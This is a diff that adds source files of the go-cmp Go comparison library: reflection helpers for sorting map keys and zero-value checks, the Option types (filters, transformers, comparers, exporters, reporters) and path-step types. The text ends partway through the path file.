@@ -0,0 +1,37 @@
+// Copyright 2018, The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+//go:build !purego
+// +build !purego
+
+package value
+
+import (
+	"reflect"
+	"unsafe"
+)
+
+// Pointer is an opaque typed pointer and is guaranteed to be comparable.
+type Pointer struct {
+	p unsafe.Pointer
+	t reflect.Type
+}
+
+// PointerOf returns a Pointer from v, which must be a
+// reflect.Ptr, reflect.Slice, or reflect.Map.
+func PointerOf(v reflect.Value) Pointer {
+	// The proper representation of a pointer is unsafe.Pointer,
+	// which is necessary if the GC ever uses a moving collector.
+	return Pointer{unsafe.Pointer(v.Pointer()), v.Type()}
+}
+
+// IsNil reports whether the pointer is nil.
+func (p Pointer) IsNil() bool {
+	return p.p == nil
+}
+
+// Uintptr returns the pointer as a uintptr.
+func (p Pointer) Uintptr() uintptr {
+	return uintptr(p.p)
+}
@@ -0,0 +1,106 @@
+// Copyright 2017, The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+package value
+
+import (
+	"fmt"
+	"math"
+	"reflect"
+	"sort"
+)
+
+// SortKeys sorts a list of map keys, deduplicating keys if necessary.
+// The type of each value must be comparable.
+func SortKeys(vs []reflect.Value) []reflect.Value {
+	if len(vs) == 0 {
+		return vs
+	}
+
+	// Sort the map keys.
+	sort.SliceStable(vs, func(i, j int) bool { return isLess(vs[i], vs[j]) })
+
+	// Deduplicate keys (fails for NaNs).
+	vs2 := vs[:1]
+	for _, v := range vs[1:] {
+		if isLess(vs2[len(vs2)-1], v) {
+			vs2 = append(vs2, v)
+		}
+	}
+	return vs2
+}
+
+// isLess is a generic function for sorting arbitrary map keys.
+// The inputs must be of the same type and must be comparable.
+func isLess(x, y reflect.Value) bool {
+	switch x.Type().Kind() {
+	case reflect.Bool:
+		return !x.Bool() && y.Bool()
+	case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:
+		return x.Int() < y.Int()
+	case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr:
+		return x.Uint() < y.Uint()
+	case reflect.Float32, reflect.Float64:
+		// NOTE: This does not sort -0 as less than +0
+		// since Go maps treat -0 and +0 as equal keys.
+		fx, fy := x.Float(), y.Float()
+		return fx < fy || math.IsNaN(fx) && !math.IsNaN(fy)
+	case reflect.Complex64, reflect.Complex128:
+		cx, cy := x.Complex(), y.Complex()
+		rx, ix, ry, iy := real(cx), imag(cx), real(cy), imag(cy)
+		if rx == ry || (math.IsNaN(rx) && math.IsNaN(ry)) {
+			return ix < iy || math.IsNaN(ix) && !math.IsNaN(iy)
+		}
+		return rx < ry || math.IsNaN(rx) && !math.IsNaN(ry)
+	case reflect.Ptr, reflect.UnsafePointer, reflect.Chan:
+		return x.Pointer() < y.Pointer()
+	case reflect.String:
+		return x.String() < y.String()
+	case reflect.Array:
+		for i := 0; i < x.Len(); i++ {
+			if isLess(x.Index(i), y.Index(i)) {
+				return true
+			}
+			if isLess(y.Index(i), x.Index(i)) {
+				return false
+			}
+		}
+		return false
+	case reflect.Struct:
+		for i := 0; i < x.NumField(); i++ {
+			if isLess(x.Field(i), y.Field(i)) {
+				return true
+			}
+			if isLess(y.Field(i), x.Field(i)) {
+				return false
+			}
+		}
+		return false
+	case reflect.Interface:
+		vx, vy := x.Elem(), y.Elem()
+		if !vx.IsValid() || !vy.IsValid() {
+			return !vx.IsValid() && vy.IsValid()
+		}
+		tx, ty := vx.Type(), vy.Type()
+		if tx == ty {
+			return isLess(x.Elem(), y.Elem())
+		}
+		if tx.Kind() != ty.Kind() {
+			return vx.Kind() < vy.Kind()
+		}
+		if tx.String() != ty.String() {
+			return tx.String() < ty.String()
+		}
+		if tx.PkgPath() != ty.PkgPath() {
+			return tx.PkgPath() < ty.PkgPath()
+		}
+		// This can happen in rare situations, so we fallback to just comparing
+		// the unique pointer for a reflect.Type. This guarantees deterministic
+		// ordering within a program, but it is obviously not stable.
+		return reflect.ValueOf(vx.Type()).Pointer() < reflect.ValueOf(vy.Type()).Pointer()
+	default:
+		// Must be Func, Map, or Slice; which are not comparable.
+		panic(fmt.Sprintf("%T is not comparable", x.Type()))
+	}
+}
@@ -0,0 +1,48 @@
+// Copyright 2017, The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+package value
+
+import (
+	"math"
+	"reflect"
+)
+
+// IsZero reports whether v is the zero value.
+// This does not rely on Interface and so can be used on unexported fields.
+func IsZero(v reflect.Value) bool {
+	switch v.Kind() {
+	case reflect.Bool:
+		return v.Bool() == false
+	case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:
+		return v.Int() == 0
+	case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr:
+		return v.Uint() == 0
+	case reflect.Float32, reflect.Float64:
+		return math.Float64bits(v.Float()) == 0
+	case reflect.Complex64, reflect.Complex128:
+		return math.Float64bits(real(v.Complex())) == 0 && math.Float64bits(imag(v.Complex())) == 0
+	case reflect.String:
+		return v.String() == ""
+	case reflect.UnsafePointer:
+		return v.Pointer() == 0
+	case reflect.Chan, reflect.Func, reflect.Interface, reflect.Ptr, reflect.Map, reflect.Slice:
+		return v.IsNil()
+	case reflect.Array:
+		for i := 0; i < v.Len(); i++ {
+			if !IsZero(v.Index(i)) {
+				return false
+			}
+		}
+		return true
+	case reflect.Struct:
+		for i := 0; i < v.NumField(); i++ {
+			if !IsZero(v.Field(i)) {
+				return false
+			}
+		}
+		return true
+	}
+	return false
+}
@@ -0,0 +1,552 @@
+// Copyright 2017, The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+package cmp
+
+import (
+	"fmt"
+	"reflect"
+	"regexp"
+	"strings"
+
+	"github.com/google/go-cmp/cmp/internal/function"
+)
+
+// Option configures for specific behavior of Equal and Diff. In particular,
+// the fundamental Option functions (Ignore, Transformer, and Comparer),
+// configure how equality is determined.
+//
+// The fundamental options may be composed with filters (FilterPath and
+// FilterValues) to control the scope over which they are applied.
+//
+// The cmp/cmpopts package provides helper functions for creating options that
+// may be used with Equal and Diff.
+type Option interface {
+	// filter applies all filters and returns the option that remains.
+	// Each option may only read s.curPath and call s.callTTBFunc.
+	//
+	// An Options is returned only if multiple comparers or transformers
+	// can apply simultaneously and will only contain values of those types
+	// or sub-Options containing values of those types.
+	filter(s *state, t reflect.Type, vx, vy reflect.Value) applicableOption
+}
+
+// applicableOption represents the following types:
+//	Fundamental: ignore | validator | *comparer | *transformer
+//	Grouping:    Options
+type applicableOption interface {
+	Option
+
+	// apply executes the option, which may mutate s or panic.
+	apply(s *state, vx, vy reflect.Value)
+}
+
+// coreOption represents the following types:
+//	Fundamental: ignore | validator | *comparer | *transformer
+//	Filters:     *pathFilter | *valuesFilter
+type coreOption interface {
+	Option
+	isCore()
+}
+
+type core struct{}
+
+func (core) isCore() {}
+
+// Options is a list of Option values that also satisfies the Option interface.
+// Helper comparison packages may return an Options value when packing multiple
+// Option values into a single Option. When this package processes an Options,
+// it will be implicitly expanded into a flat list.
+//
+// Applying a filter on an Options is equivalent to applying that same filter
+// on all individual options held within.
+type Options []Option
+
+func (opts Options) filter(s *state, t reflect.Type, vx, vy reflect.Value) (out applicableOption) {
+	for _, opt := range opts {
+		switch opt := opt.filter(s, t, vx, vy); opt.(type) {
+		case ignore:
+			return ignore{} // Only ignore can short-circuit evaluation
+		case validator:
+			out = validator{} // Takes precedence over comparer or transformer
+		case *comparer, *transformer, Options:
+			switch out.(type) {
+			case nil:
+				out = opt
+			case validator:
+				// Keep validator
+			case *comparer, *transformer, Options:
+				out = Options{out, opt} // Conflicting comparers or transformers
+			}
+		}
+	}
+	return out
+}
+
+func (opts Options) apply(s *state, _, _ reflect.Value) {
+	const warning = "ambiguous set of applicable options"
+	const help = "consider using filters to ensure at most one Comparer or Transformer may apply"
+	var ss []string
+	for _, opt := range flattenOptions(nil, opts) {
+		ss = append(ss, fmt.Sprint(opt))
+	}
+	set := strings.Join(ss, "\n\t")
+	panic(fmt.Sprintf("%s at %#v:\n\t%s\n%s", warning, s.curPath, set, help))
+}
+
+func (opts Options) String() string {
+	var ss []string
+	for _, opt := range opts {
+		ss = append(ss, fmt.Sprint(opt))
+	}
+	return fmt.Sprintf("Options{%s}", strings.Join(ss, ", "))
+}
+
+// FilterPath returns a new Option where opt is only evaluated if filter f
+// returns true for the current Path in the value tree.
+//
+// This filter is called even if a slice element or map entry is missing and
+// provides an opportunity to ignore such cases. The filter function must be
+// symmetric such that the filter result is identical regardless of whether the
+// missing value is from x or y.
+//
+// The option passed in may be an Ignore, Transformer, Comparer, Options, or
+// a previously filtered Option.
+func FilterPath(f func(Path) bool, opt Option) Option {
+	if f == nil {
+		panic("invalid path filter function")
+	}
+	if opt := normalizeOption(opt); opt != nil {
+		return &pathFilter{fnc: f, opt: opt}
+	}
+	return nil
+}
+
+type pathFilter struct {
+	core
+	fnc func(Path) bool
+	opt Option
+}
+
+func (f pathFilter) filter(s *state, t reflect.Type, vx, vy reflect.Value) applicableOption {
+	if f.fnc(s.curPath) {
+		return f.opt.filter(s, t, vx, vy)
+	}
+	return nil
+}
+
+func (f pathFilter) String() string {
+	return fmt.Sprintf("FilterPath(%s, %v)", function.NameOf(reflect.ValueOf(f.fnc)), f.opt)
+}
+
+// FilterValues returns a new Option where opt is only evaluated if filter f,
+// which is a function of the form "func(T, T) bool", returns true for the
+// current pair of values being compared. If either value is invalid or
+// the type of the values is not assignable to T, then this filter implicitly
+// returns false.
+//
+// The filter function must be
+// symmetric (i.e., agnostic to the order of the inputs) and
+// deterministic (i.e., produces the same result when given the same inputs).
+// If T is an interface, it is possible that f is called with two values with
+// different concrete types that both implement T.
+//
+// The option passed in may be an Ignore, Transformer, Comparer, Options, or
+// a previously filtered Option.
+func FilterValues(f interface{}, opt Option) Option {
+	v := reflect.ValueOf(f)
+	if !function.IsType(v.Type(), function.ValueFilter) || v.IsNil() {
+		panic(fmt.Sprintf("invalid values filter function: %T", f))
+	}
+	if opt := normalizeOption(opt); opt != nil {
+		vf := &valuesFilter{fnc: v, opt: opt}
+		if ti := v.Type().In(0); ti.Kind() != reflect.Interface || ti.NumMethod() > 0 {
+			vf.typ = ti
+		}
+		return vf
+	}
+	return nil
+}
+
+type valuesFilter struct {
+	core
+	typ reflect.Type  // T
+	fnc reflect.Value // func(T, T) bool
+	opt Option
+}
+
+func (f valuesFilter) filter(s *state, t reflect.Type, vx, vy reflect.Value) applicableOption {
+	if !vx.IsValid() || !vx.CanInterface() || !vy.IsValid() || !vy.CanInterface() {
+		return nil
+	}
+	if (f.typ == nil || t.AssignableTo(f.typ)) && s.callTTBFunc(f.fnc, vx, vy) {
+		return f.opt.filter(s, t, vx, vy)
+	}
+	return nil
+}
+
+func (f valuesFilter) String() string {
+	return fmt.Sprintf("FilterValues(%s, %v)", function.NameOf(f.fnc), f.opt)
+}
+
+// Ignore is an Option that causes all comparisons to be ignored.
+// This value is intended to be combined with FilterPath or FilterValues.
+// It is an error to pass an unfiltered Ignore option to Equal.
+func Ignore() Option { return ignore{} }
+
+type ignore struct{ core }
+
+func (ignore) isFiltered() bool                                                     { return false }
+func (ignore) filter(_ *state, _ reflect.Type, _, _ reflect.Value) applicableOption { return ignore{} }
+func (ignore) apply(s *state, _, _ reflect.Value)                                   { s.report(true, reportByIgnore) }
+func (ignore) String() string                                                       { return "Ignore()" }
+
+// validator is a sentinel Option type to indicate that some options could not
+// be evaluated due to unexported fields, missing slice elements, or
+// missing map entries. Both values are validator only for unexported fields.
+type validator struct{ core }
+
+func (validator) filter(_ *state, _ reflect.Type, vx, vy reflect.Value) applicableOption {
+	if !vx.IsValid() || !vy.IsValid() {
+		return validator{}
+	}
+	if !vx.CanInterface() || !vy.CanInterface() {
+		return validator{}
+	}
+	return nil
+}
+func (validator) apply(s *state, vx, vy reflect.Value) {
+	// Implies missing slice element or map entry.
+	if !vx.IsValid() || !vy.IsValid() {
+		s.report(vx.IsValid() == vy.IsValid(), 0)
+		return
+	}
+
+	// Unable to Interface implies unexported field without visibility access.
+	if !vx.CanInterface() || !vy.CanInterface() {
+		help := "consider using a custom Comparer; if you control the implementation of type, you can also consider using an Exporter, AllowUnexported, or cmpopts.IgnoreUnexported"
+		var name string
+		if t := s.curPath.Index(-2).Type(); t.Name() != "" {
+			// Named type with unexported fields.
+			name = fmt.Sprintf("%q.%v", t.PkgPath(), t.Name()) // e.g., "path/to/package".MyType
+			if _, ok := reflect.New(t).Interface().(error); ok {
+				help = "consider using cmpopts.EquateErrors to compare error values"
+			}
+		} else {
+			// Unnamed type with unexported fields. Derive PkgPath from field.
+			var pkgPath string
+			for i := 0; i < t.NumField() && pkgPath == ""; i++ {
+				pkgPath = t.Field(i).PkgPath
+			}
+			name = fmt.Sprintf("%q.(%v)", pkgPath, t.String()) // e.g., "path/to/package".(struct { a int })
+		}
+		panic(fmt.Sprintf("cannot handle unexported field at %#v:\n\t%v\n%s", s.curPath, name, help))
+	}
+
+	panic("not reachable")
+}
+
+// identRx represents a valid identifier according to the Go specification.
+const identRx = `[_\p{L}][_\p{L}\p{N}]*`
+
+var identsRx = regexp.MustCompile(`^` + identRx + `(\.` + identRx + `)*$`)
+
+// Transformer returns an Option that applies a transformation function that
+// converts values of a certain type into that of another.
+//
+// The transformer f must be a function "func(T) R" that converts values of
+// type T to those of type R and is implicitly filtered to input values
+// assignable to T. The transformer must not mutate T in any way.
+//
+// To help prevent some cases of infinite recursive cycles applying the
+// same transform to the output of itself (e.g., in the case where the
+// input and output types are the same), an implicit filter is added such that
+// a transformer is applicable only if that exact transformer is not already
+// in the tail of the Path since the last non-Transform step.
+// For situations where the implicit filter is still insufficient,
+// consider using cmpopts.AcyclicTransformer, which adds a filter
+// to prevent the transformer from being recursively applied upon itself.
+//
+// The name is a user provided label that is used as the Transform.Name in the
+// transformation PathStep (and eventually shown in the Diff output).
+// The name must be a valid identifier or qualified identifier in Go syntax.
+// If empty, an arbitrary name is used.
+func Transformer(name string, f interface{}) Option {
+	v := reflect.ValueOf(f)
+	if !function.IsType(v.Type(), function.Transformer) || v.IsNil() {
+		panic(fmt.Sprintf("invalid transformer function: %T", f))
+	}
+	if name == "" {
+		name = function.NameOf(v)
+		if !identsRx.MatchString(name) {
+			name = "λ" // Lambda-symbol as placeholder name
+		}
+	} else if !identsRx.MatchString(name) {
+		panic(fmt.Sprintf("invalid name: %q", name))
+	}
+	tr := &transformer{name: name, fnc: reflect.ValueOf(f)}
+	if ti := v.Type().In(0); ti.Kind() != reflect.Interface || ti.NumMethod() > 0 {
+		tr.typ = ti
+	}
+	return tr
+}
+
+type transformer struct {
+	core
+	name string
+	typ  reflect.Type  // T
+	fnc  reflect.Value // func(T) R
+}
+
+func (tr *transformer) isFiltered() bool { return tr.typ != nil }
+
+func (tr *transformer) filter(s *state, t reflect.Type, _, _ reflect.Value) applicableOption {
+	for i := len(s.curPath) - 1; i >= 0; i-- {
+		if t, ok := s.curPath[i].(Transform); !ok {
+			break // Hit most recent non-Transform step
+		} else if tr == t.trans {
+			return nil // Cannot directly use same Transform
+		}
+	}
+	if tr.typ == nil || t.AssignableTo(tr.typ) {
+		return tr
+	}
+	return nil
+}
+
+func (tr *transformer) apply(s *state, vx, vy reflect.Value) {
+	step := Transform{&transform{pathStep{typ: tr.fnc.Type().Out(0)}, tr}}
+	vvx := s.callTRFunc(tr.fnc, vx, step)
+	vvy := s.callTRFunc(tr.fnc, vy, step)
+	step.vx, step.vy = vvx, vvy
+	s.compareAny(step)
+}
+
+func (tr transformer) String() string {
+	return fmt.Sprintf("Transformer(%s, %s)", tr.name, function.NameOf(tr.fnc))
+}
+
+// Comparer returns an Option that determines whether two values are equal
+// to each other.
+//
+// The comparer f must be a function "func(T, T) bool" and is implicitly
+// filtered to input values assignable to T. If T is an interface, it is
+// possible that f is called with two values of different concrete types that
+// both implement T.
+//
+// The equality function must be:
+//	• Symmetric: equal(x, y) == equal(y, x)
+//	• Deterministic: equal(x, y) == equal(x, y)
+//	• Pure: equal(x, y) does not modify x or y
+func Comparer(f interface{}) Option {
+	v := reflect.ValueOf(f)
+	if !function.IsType(v.Type(), function.Equal) || v.IsNil() {
+		panic(fmt.Sprintf("invalid comparer function: %T", f))
+	}
+	cm := &comparer{fnc: v}
+	if ti := v.Type().In(0); ti.Kind() != reflect.Interface || ti.NumMethod() > 0 {
+		cm.typ = ti
+	}
+	return cm
+}
+
+type comparer struct {
+	core
+	typ reflect.Type  // T
+	fnc reflect.Value // func(T, T) bool
+}
+
+func (cm *comparer) isFiltered() bool { return cm.typ != nil }
+
+func (cm *comparer) filter(_ *state, t reflect.Type, _, _ reflect.Value) applicableOption {
+	if cm.typ == nil || t.AssignableTo(cm.typ) {
+		return cm
+	}
+	return nil
+}
+
+func (cm *comparer) apply(s *state, vx, vy reflect.Value) {
+	eq := s.callTTBFunc(cm.fnc, vx, vy)
+	s.report(eq, reportByFunc)
+}
+
+func (cm comparer) String() string {
+	return fmt.Sprintf("Comparer(%s)", function.NameOf(cm.fnc))
+}
+
+// Exporter returns an Option that specifies whether Equal is allowed to
+// introspect into the unexported fields of certain struct types.
+//
+// Users of this option must understand that comparing on unexported fields
+// from external packages is not safe since changes in the internal
+// implementation of some external package may cause the result of Equal
+// to unexpectedly change. However, it may be valid to use this option on types
+// defined in an internal package where the semantic meaning of an unexported
+// field is in the control of the user.
+//
+// In many cases, a custom Comparer should be used instead that defines
+// equality as a function of the public API of a type rather than the underlying
+// unexported implementation.
+//
+// For example, the reflect.Type documentation defines equality to be determined
+// by the == operator on the interface (essentially performing a shallow pointer
+// comparison) and most attempts to compare *regexp.Regexp types are interested
+// in only checking that the regular expression strings are equal.
+// Both of these are accomplished using Comparers:
+//
+//	Comparer(func(x, y reflect.Type) bool { return x == y })
+//	Comparer(func(x, y *regexp.Regexp) bool { return x.String() == y.String() })
+//
+// In other cases, the cmpopts.IgnoreUnexported option can be used to ignore
+// all unexported fields on specified struct types.
+func Exporter(f func(reflect.Type) bool) Option {
+	if !supportExporters {
+		panic("Exporter is not supported on purego builds")
+	}
+	return exporter(f)
+}
+
+type exporter func(reflect.Type) bool
+
+func (exporter) filter(_ *state, _ reflect.Type, _, _ reflect.Value) applicableOption {
+	panic("not implemented")
+}
+
+// AllowUnexported returns an Options that allows Equal to forcibly introspect
+// unexported fields of the specified struct types.
+//
+// See Exporter for the proper use of this option.
+func AllowUnexported(types ...interface{}) Option {
+	m := make(map[reflect.Type]bool)
+	for _, typ := range types {
+		t := reflect.TypeOf(typ)
+		if t.Kind() != reflect.Struct {
+			panic(fmt.Sprintf("invalid struct type: %T", typ))
+		}
+		m[t] = true
+	}
+	return exporter(func(t reflect.Type) bool { return m[t] })
+}
+
+// Result represents the comparison result for a single node and
+// is provided by cmp when calling Result (see Reporter).
+type Result struct {
+	_     [0]func() // Make Result incomparable
+	flags resultFlags
+}
+
+// Equal reports whether the node was determined to be equal or not.
+// As a special case, ignored nodes are considered equal.
+func (r Result) Equal() bool {
+	return r.flags&(reportEqual|reportByIgnore) != 0
+}
+
+// ByIgnore reports whether the node is equal because it was ignored.
+// This never reports true if Equal reports false.
+func (r Result) ByIgnore() bool {
+	return r.flags&reportByIgnore != 0
+}
+
+// ByMethod reports whether the Equal method determined equality.
+func (r Result) ByMethod() bool {
+	return r.flags&reportByMethod != 0
+}
+
+// ByFunc reports whether a Comparer function determined equality.
+func (r Result) ByFunc() bool {
+	return r.flags&reportByFunc != 0
+}
+
+// ByCycle reports whether a reference cycle was detected.
+func (r Result) ByCycle() bool {
+	return r.flags&reportByCycle != 0
+}
+
+type resultFlags uint
+
+const (
+	_ resultFlags = (1 << iota) / 2
+
+	reportEqual
+	reportUnequal
+	reportByIgnore
+	reportByMethod
+	reportByFunc
+	reportByCycle
+)
+
+// Reporter is an Option that can be passed to Equal. When Equal traverses
+// the value trees, it calls PushStep as it descends into each node in the
+// tree and PopStep as it ascend out of the node. The leaves of the tree are
+// either compared (determined to be equal or not equal) or ignored and reported
+// as such by calling the Report method.
+func Reporter(r interface {
+	// PushStep is called when a tree-traversal operation is performed.
+	// The PathStep itself is only valid until the step is popped.
+	// The PathStep.Values are valid for the duration of the entire traversal
+	// and must not be mutated.
+	//
+	// Equal always calls PushStep at the start to provide an operation-less
+	// PathStep used to report the root values.
+	//
+	// Within a slice, the exact set of inserted, removed, or modified elements
+	// is unspecified and may change in future implementations.
+	// The entries of a map are iterated through in an unspecified order.
+	PushStep(PathStep)
+
+	// Report is called exactly once on leaf nodes to report whether the
+	// comparison identified the node as equal, unequal, or ignored.
+	// A leaf node is one that is immediately preceded by and followed by
+	// a pair of PushStep and PopStep calls.
+	Report(Result)
+
+	// PopStep ascends back up the value tree.
+	// There is always a matching pop call for every push call.
+	PopStep()
+}) Option {
+	return reporter{r}
+}
+
+type reporter struct{ reporterIface }
+type reporterIface interface {
+	PushStep(PathStep)
+	Report(Result)
+	PopStep()
+}
+
+func (reporter) filter(_ *state, _ reflect.Type, _, _ reflect.Value) applicableOption {
+	panic("not implemented")
+}
+
+// normalizeOption normalizes the input options such that all Options groups
+// are flattened and groups with a single element are reduced to that element.
+// Only coreOptions and Options containing coreOptions are allowed.
+func normalizeOption(src Option) Option {
+	switch opts := flattenOptions(nil, Options{src}); len(opts) {
+	case 0:
+		return nil
+	case 1:
+		return opts[0]
+	default:
+		return opts
+	}
+}
+
+// flattenOptions copies all options in src to dst as a flat list.
+// Only coreOptions and Options containing coreOptions are allowed.
+func flattenOptions(dst, src Options) Options {
+	for _, opt := range src {
+		switch opt := opt.(type) {
+		case nil:
+			continue
+		case Options:
+			dst = flattenOptions(dst, opt)
+		case coreOption:
+			dst = append(dst, opt)
+		default:
+			panic(fmt.Sprintf("invalid option type: %T", opt))
+		}
+	}
+	return dst
+}
@@ -0,0 +1,378 @@
+// Copyright 2017, The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+package cmp
+
+import (
+	"fmt"
+	"reflect"
+	"strings"
+	"unicode"
+	"unicode/utf8"
+
+	"github.com/google/go-cmp/cmp/internal/value"
+)
+
+// Path is a list of PathSteps describing the sequence of operations to get
+// from some root type to the current position in the value tree.
+// The first Path element is always an operation-less PathStep that exists
+// simply to identify the initial type.
+//
+// When traversing structs with embedded structs, the embedded struct will
+// always be accessed as a field before traversing the fields of the
+// embedded struct themselves. That is, an exported field from the
+// embedded struct will never be accessed directly from the parent struct.
+type Path []PathStep
+
+// PathStep is a union-type for specific operations to traverse
+// a value's tree structure. Users of this package never need to implement
+// these types as values of this type will be returned by this package.
+//
+// Implementations of this interface are
+// StructField, SliceIndex, MapIndex, Indirect, TypeAssertion, and Transform.
+type PathStep interface {
+	String() string
+
+	// Type is the resulting type after performing the path step.
+	Type() reflect.Type
+
+	// Values is the resulting values after performing the path step.
+	// The type of each valid value is guaranteed to be identical to Type.
+	//
+	// In some cases, one or both may be invalid or have restrictions:
+	//	• For StructField, both are not interface-able if the current field
+	//	is unexported and the struct type is not explicitly permitted by
+	//	an Exporter to traverse unexported fields.
+	//	• For SliceIndex, one may be invalid if an element is missing from
+	//	either the x or y slice.
+	//	• For MapIndex, one may be invalid if an entry is missing from
+	//	either the x or y map.
+	//
+	// The provided values must not be mutated.
+	Values() (vx, vy reflect.Value)
+}
+
+var (
+	_ PathStep = StructField{}
+	_ PathStep = SliceIndex{}
+	_ PathStep = MapIndex{}
+	_ PathStep = Indirect{}
+	_ PathStep = TypeAssertion{}
+	_ PathStep = Transform{}
+)
+
+func (pa *Path) push(s PathStep) {
+	*pa = append(*pa, s)
+}
+
+func (pa *Path) pop() {
+	*pa = (*pa)[:len(*pa)-1]
+}
+
+// Last returns the last PathStep in the Path.
+// If the path is empty, this returns a non-nil PathStep that reports a nil Type.
+func (pa Path) Last() PathStep {
+	return pa.Index(-1)
+}
+
+// Index returns the ith step in the Path and supports negative indexing.
+// A negative index starts counting from the tail of the Path such that -1
+// refers to the last step, -2 refers to the second-to-last step, and so on.
+// If index is invalid, this returns a non-nil PathStep that reports a nil Type.
+func (pa Path) Index(i int) PathStep {
+	if i < 0 {
+		i = len(pa) + i
+	}
+	if i < 0 || i >= len(pa) {
+		return pathStep{}
+	}
+	return pa[i]
+}
+
+// String returns the simplified path to a node.
+// The simplified path only contains struct field accesses.
+//
+// For example:
+//	MyMap.MySlices.MyField
+func (pa Path) String() string {
+	var ss []string
+	for _, s := range pa {
+		if _, ok := s.(StructField); ok {
+			ss = append(ss, s.String())
+		}
+	}
+	return strings.TrimPrefix(strings.Join(ss, ""), ".")
+}
+
+// GoString returns the path to a specific node using Go syntax.
+//
+// For example:
+//	(*root.MyMap["key"].(*mypkg.MyStruct).MySlices)[2][3].MyField
+func (pa Path) GoString() string {
+	var ssPre, ssPost []string
+	var numIndirect int
+	for i, s := range pa {
+		var nextStep PathStep
+		if i+1 < len(pa) {
+			nextStep = pa[i+1]
+		}
+		switch s := s.(type) {
+		case Indirect:
+			numIndirect++
+			pPre, pPost := "(", ")"
+			switch nextStep.(type) {
+			case Indirect:
+				continue // Next step is indirection, so let them batch up
+			case StructField:
+				numIndirect-- // Automatic indirection on struct fields
+			case nil:
+				pPre, pPost = "", "" // Last step; no need for parenthesis
+			}
+			if numIndirect > 0 {
+				ssPre = append(ssPre, pPre+strings.Repeat("*", numIndirect))
+				ssPost = append(ssPost, pPost)
+			}
+			numIndirect = 0
+			continue
+		case Transform:
+			ssPre = append(ssPre, s.trans.name+"(")
+			ssPost = append(ssPost, ")")
+			continue
+		}
+		ssPost = append(ssPost, s.String())
+	}
+	for i, j := 0, len(ssPre)-1; i < j; i, j = i+1, j-1 {
+		ssPre[i], ssPre[j] = ssPre[j], ssPre[i]
+	}
+	return strings.Join(ssPre, "") + strings.Join(ssPost, "")
+}
+
+type pathStep struct {
+	typ    reflect.Type
+	vx, vy reflect.Value
+}
+
+func (ps pathStep) Type() reflect.Type             { return ps.typ }
+func (ps pathStep) Values() (vx, vy reflect.Value) { return ps.vx, ps.vy }
+func (ps pathStep) String() string {
+	if ps.typ == nil {
+		return "<nil>"
+	}
+	s := ps.typ.String()
+	if s == "" || strings.ContainsAny(s, "{}\n") {
+		return "root" // Type too simple or complex to print
+	}
+	return fmt.Sprintf("{%s}", s)
+}
+
+// StructField represents a struct field access on a field called Name.
+type StructField struct{ *structField }
+type structField struct {
+	pathStep
+	name string
+	idx  int
+
+	// These fields are used for forcibly accessing an unexported field.
+	// pvx, pvy, and field are only valid if unexported is true.
+	unexported bool
+	mayForce   bool                // Forcibly allow visibility
+	paddr      bool                // Was parent addressable?
+	pvx, pvy   reflect.Value       // Parent values (always addressable)
+	field      reflect.StructField // Field information
+}
+
+func (sf StructField) Type() reflect.Type { return sf.typ }
+func (sf StructField) Values() (vx, vy reflect.Value) {
+	if !sf.unexported {
+		return sf.vx, sf.vy // CanInterface reports true
+	}
+
+	// Forcibly obtain read-write access to an unexported struct field.
+	if sf.mayForce {
+		vx = retrieveUnexportedField(sf.pvx, sf.field, sf.paddr)
+		vy = retrieveUnexportedField(sf.pvy, sf.field, sf.paddr)
+		return vx, vy // CanInterface reports true
+	}
+	return sf.vx, sf.vy // CanInterface reports false
+}
+func (sf StructField) String() string { return fmt.Sprintf(".%s", sf.name) }
+
+// Name is the field name.
+func (sf StructField) Name() string { return sf.name }
+
+// Index is the index of the field in the parent struct type.
+// See reflect.Type.Field.
+func (sf StructField) Index() int { return sf.idx }
+
+// SliceIndex is an index operation on a slice or array at some index Key.
+type SliceIndex struct{ *sliceIndex }
+type sliceIndex struct {
+	pathStep
+	xkey, ykey int
+	isSlice    bool // False for reflect.Array
+}
+
+func (si SliceIndex) Type() reflect.Type             { return si.typ }
+func (si SliceIndex) Values() (vx, vy reflect.Value) { return si.vx, si.vy }
+func (si SliceIndex) String() string {
+	switch {
+	case si.xkey == si.ykey:
+		return fmt.Sprintf("[%d]", si.xkey)
+	case si.ykey == -1:
+		// [5->?] means "I don't know where X[5] went"
+		return fmt.Sprintf("[%d->?]", si.xkey)
+	case si.xkey == -1:
+		// [?->3] means "I don't know where Y[3] came from"
+		return fmt.Sprintf("[?->%d]", si.ykey)
+	default:
+		// [5->3] means "X[5] moved to Y[3]"
+		return fmt.Sprintf("[%d->%d]", si.xkey, si.ykey)
+	}
+}
+
+// Key is the index key; it may return -1 if in a split state
+func (si SliceIndex) Key() int {
+	if si.xkey != si.ykey {
+		return -1
+	}
+	return si.xkey
+}
+
+// SplitKeys are the indexes for indexing into slices in the
+// x and y values, respectively. These indexes may differ due to the
+// insertion or removal of an element in one of the slices, causing
+// all of the indexes to be shifted. If an index is -1, then that
+// indicates that the element does not exist in the associated slice.
+//
+// Key is guaranteed to return -1 if and only if the indexes returned
+// by SplitKeys are not the same. SplitKeys will never return -1 for
+// both indexes.
+func (si SliceIndex) SplitKeys() (ix, iy int) { return si.xkey, si.ykey }
+
+// MapIndex is an index operation on a map at some index Key.
+type MapIndex struct{ *mapIndex }
+type mapIndex struct {
+	pathStep
+	key reflect.Value
+}
+
+func (mi MapIndex) Type() reflect.Type             { return mi.typ }
+func (mi MapIndex) Values() (vx, vy reflect.Value) { return mi.vx, mi.vy }
+func (mi MapIndex) String() string                 { return fmt.Sprintf("[%#v]", mi.key) }
+
+// Key is the value of the map key.
+func (mi MapIndex) Key() reflect.Value { return mi.key }
+
+// Indirect represents pointer indirection on the parent type.
+type Indirect struct{ *indirect }
+type indirect struct {
+	pathStep
+}
+
+func (in Indirect) Type() reflect.Type             { return in.typ }
